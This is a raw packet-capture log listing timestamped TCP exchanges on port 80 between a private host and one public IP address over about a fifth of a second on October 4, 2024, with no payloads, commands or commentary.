Oct 4, 2024 04:28:03.757802010 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757883072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757893085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757952929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.759294987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.759310961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.759320021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.759354115 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.759366989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.759377003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.759432077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.759552956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.759608984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.759618998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.759629011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.759633064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.759696007 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.759752989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838363886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838386059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838397026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838407993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838459969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838471889 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838473082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838481903 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838493109 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838510036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838521957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838531017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838531017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838531971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838579893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838579893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838583946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838594913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838606119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838648081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838660955 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838660955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838671923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838705063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.838709116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.838767052 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.846683979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.846694946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.846704006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.846739054 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.846746922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.846757889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.846769094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.846796989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.846796989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.846808910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.846827984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.846854925 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.846879959 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847039938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847083092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847095966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847152948 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847152948 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847157001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847168922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847178936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847233057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847244978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847250938 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847250938 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847258091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847299099 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847301006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847312927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847347975 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847347975 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847356081 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847366095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847400904 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847424984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847446918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847457886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847469091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847498894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847537041 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847543955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847554922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847565889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847577095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847588062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847598076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847645044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847645044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847702980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847732067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847773075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847774982 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847784042 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847815037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847820044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847826004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847835064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847862005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847866058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847882986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.847897053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.847913027 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848090887 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848268986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848280907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848290920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848300934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848342896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848351002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848351002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848354101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848371983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848382950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848403931 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848426104 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848453045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848464012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848473072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848483086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848512888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848534107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848545074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848571062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848582029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848582029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848582983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848612070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848620892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848644972 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848660946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848695040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848706007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848716974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848721981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848727942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848784924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848799944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848808050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848819017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848819017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848855019 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848877907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848889112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848897934 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848900080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848947048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848947048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.848967075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848977089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.848993063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849004984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849015951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849024057 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.849041939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849052906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849073887 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.849073887 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.849101067 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.849102020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849114895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849160910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849172115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849178076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849199057 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.849240065 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.849311113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849320889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849330902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849339962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849350929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849368095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.849406958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.849432945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849443913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849503040 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.849947929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849963903 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.849975109 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850013971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.850085974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850096941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850107908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850119114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850130081 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850176096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.850176096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.850176096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.850192070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850203991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850234985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850245953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850258112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850286007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850286007 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.850286007 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.850296974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.850330114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.850462914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.851864100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.851874113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.851882935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.851891994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.851931095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.851946115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.851954937 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.851955891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.851968050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.851975918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.852032900 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.852032900 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.930785894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.930847883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.930854082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.930860043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.930871964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.930896997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.930912018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.930922985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.930923939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.930932999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.930948019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.930960894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.930986881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.931014061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.931026936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.931036949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.931063890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.931077003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.931118965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.931130886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.931140900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.931150913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.931165934 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.931195974 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939182997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939230919 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939254045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939264059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939274073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939285040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939294100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939305067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939306021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939316034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939335108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939357996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939569950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939580917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939589977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939618111 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939646959 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939649105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939660072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939676046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939686060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939694881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939703941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939733028 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939790010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939800978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939810991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939821959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939832926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939840078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939852953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939878941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.939882994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939893961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.939934015 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.940747976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940757990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940767050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940778017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940793037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940798998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.940803051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940813065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940823078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.940824032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940846920 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.940848112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940864086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940867901 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.940875053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940881014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.940885067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940911055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.940938950 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.940963984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940974951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940984011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.940994978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941004992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941010952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941015005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941041946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941052914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941111088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941122055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941137075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941147089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941158056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941159010 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941169024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941195011 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941214085 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941303015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941313982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941323042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941332102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941343069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941351891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941364050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941396952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941431046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941447020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941456079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941466093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941476107 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941477060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941487074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941497087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941508055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941509962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941560030 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941584110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941629887 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.941657066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.941667080 CEST	80	49740	172.67.159.45	192.168.2.6
